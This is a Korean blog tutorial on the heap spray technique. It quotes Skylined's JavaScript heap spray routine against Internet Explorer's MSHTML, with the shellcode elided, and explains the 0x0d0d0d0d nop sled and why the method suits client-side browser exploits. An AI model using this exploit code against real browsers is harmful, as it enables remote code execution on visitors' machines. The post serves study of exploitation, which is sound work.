GrayHat 이라는 책을 보면 Skylined라는 해커가 이 기법을 처음 찾아냈다고 해요.

1. 힙 스프레이의 핵심
힙 스프레이라는 기법의 핵심은 이렇습니다. 아무 의미없는 일을 하는 Instruction 이나 Nop Sled를 힙에 스프레이 뿌리듯 꽉 채워 버리는 거에요. 그 다음에 그 중간중간에 쉘코드를 삽입해 두는 거죠. 그렇게 해서 취약점이 발생한 코드를 그 힙으로 실행이 옮겨오도록 하는 기법이 바로 힙 스프레이 입니다.

2. 공격소스코드 (Skylined의 공격코드 인용)

        sMSHTML_heap_spray = unescape("%u0D0D%u0D0D");
        for (i=0; i<7; i++) // 512 bytes
            sMSHTML_heap_spray += sMSHTML_heap_spray;
        try {

            exploit(opener.document.createComment(sMSHTML_heap_spray));
        } catch(e) {

            window.open(document.location.href);
        }

        function exploit(parent_element) {

            opener.focus();
            window.moveTo(100000, 100000);

            iHeap_fill_to_address = 0x12000000;
            sHeap_return_address = unescape("%u0D0D%u0D0D");

            // 4 nops because the 0x0D slide has 5 byte instructions.
            sShellcode = unescape("...");

            iHeap_header_size = 0x38; // Actually it's 0x24, but this value works better

            iHeap_block_size = 0x400000;

            iShellcode_size = sShellcode.length * 2; // (convert dwords to bytes)

            iNopslide_size = iHeap_block_size - (iHeap_header_size + iShellcode_size);

            sNopslide = sHeap_return_address;
            while (sNopslide.length*2<iNopslide_size) sNopslide+=sNopslide;
            sNopslide = sNopslide.substring(0, iNopslide_size/2);
//이부분이 Heap Spray  공격에서는 공통적으로 볼 수 있는 부분이지요.

            iHeap_block_count = (iHeap_fill_to_address-0x400000) / iHeap_block_size;
            memory = new Array(); // 자바스크립트니까 자유롭게 메모리 할당이 되죠.
            for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sShellcode;
//이 부분이 인제 공격 준비를 마치는 부분이구요.

            sMSHTML_heap_spray = sNopslide.substring(0, 0x100);
// 0x100 dwords = 512 bytez
            for(i=0;i<1024;i++) try {
            parent_element.appendChild(document.createComment(sMSHTML_heap_spray));
            } catch (e) { }
        }

이 부분에서 중요하게 생각해야 할 점들이 두가지 정도가 있는 것 같네요.
1) 0x0d0d0d0d0d ?
이 힙 스프레이가 발생할 때의 취약점은 보통 eax등의 범용 레지스터 중 하나를 마음대로 컨트롤 할 수 있는 것입니다. 즉 call eax 등의 코드가 발생하게 되죠. 그러면, eax 값이 0x0d0d0d0d라면 함수는 0x0d0d0d0d로 점프를 시도할 것입니다. (이런 취약점을 찾는 것은 보안연구가의 재량 같습니다.)

즉, 힙을 이 0x0d0d0d0d 까지 자라게 해서 (스프레이 처럼 뿌려서) 이게 Access Violation이 아닌 실행이 가능한 코드로 만드는 것입니다.

이 경우에 실행되는 Nop Sled 는 0x90 이 아니라 0x0d0d0d0d0d 입니다. (혹은 0x0505050505 등도 가능합니다.) 이런 instruction의 경우 범용 레지스터에 1씩을 더하던가 하는 의미없는 일을 하는 것입니다.따라서 0x90과 같은 효과를 발생시킬 수 있습니다. 그리고 이 더미코드가 다 실행되면 쉘코드가 실행되는 것이죠.

2) 클라이언트 익스플로잇
이 공격의 경우, 대부분이 클라이언트에서 취약점이 발생하는 익스플로잇 들입니다. 그 이유는 이 공격을 하는데 자바스크립트를 사용한다는 점에 있는데요. 자바스크립트를 통해서 메모리를 할당하는 것을 사용하여 힙 스프레이 공격을 실행하는 것입니다. 그래서 보통 웹브라우저 취약점을 공격하는 데 사용되죠. ActiveX 취약점도 발생한다면 자바스크립트로 공격이 가능할 것입니다.
(이 부분의 단점이라면, 사용자가 웹페이지에 접근해서 자바스크립트를 읽던지 하지 않으면 공격이 되지 않는다는 것이죠. 물론 자바스크립트를 이용한 웜등이 소개되긴 했지만, 제 생각에는 공격자 홈페이지에 무수한 사용자가 접근하도록 하지 않는 한 공격의 전파속도는 느릴 것 같다는.. 사견이 듭니다. 맞는지는 모르겠구요.)

3. 마치며
버퍼 오버플로우, 포멧스트링, 힙 오버플로우 등의 공격을 살펴보면 공격자가 공격코드를 서비스에 직접 전송하여 익스플로잇 하는 방식입니다. 이에 비해 힙 스프레이는 공격코드를 일정한 곳에 올려놓고 사용자가 접근을 하게 하던지 읽게 하던지 하는 방법이 이루어져야 하죠. 뭐 이메일이나 pdf내에 악성코드를 삽입해서 진행할 수 있을지도 모릅니다만.. 하지만 이 공격은 사용자 프로세스의 힙을 마음대로 다룰 수 있다는 점을 이용해서 새 공격기술을 창안했다는 점에서는 높게 평가받아야 한다고 생각합니다.

읽으시는 분들이 많은 도움을 받으셨기를 바랍니다~

참고문헌
Hong10 님의 ActiveX BOF 취약점 테스트 및 Heap Spray를 이용한 Exploit
PLUS의 Heap Spray 자료
Skylined님의 InternetExploiter2
Skywing님의 Exploiting the Otherwise Non-exploitable on Windows

'#.Hacking > Tech' 카테고리의 다른 글

힙 스프레이(Heap Spray) 기법  (2) 2009.06.19
DLL Injection & Thread Injection  (1) 2009.06.12
바이러스 분석 & 치료  (0) 2009.06.06
Posted by 眞理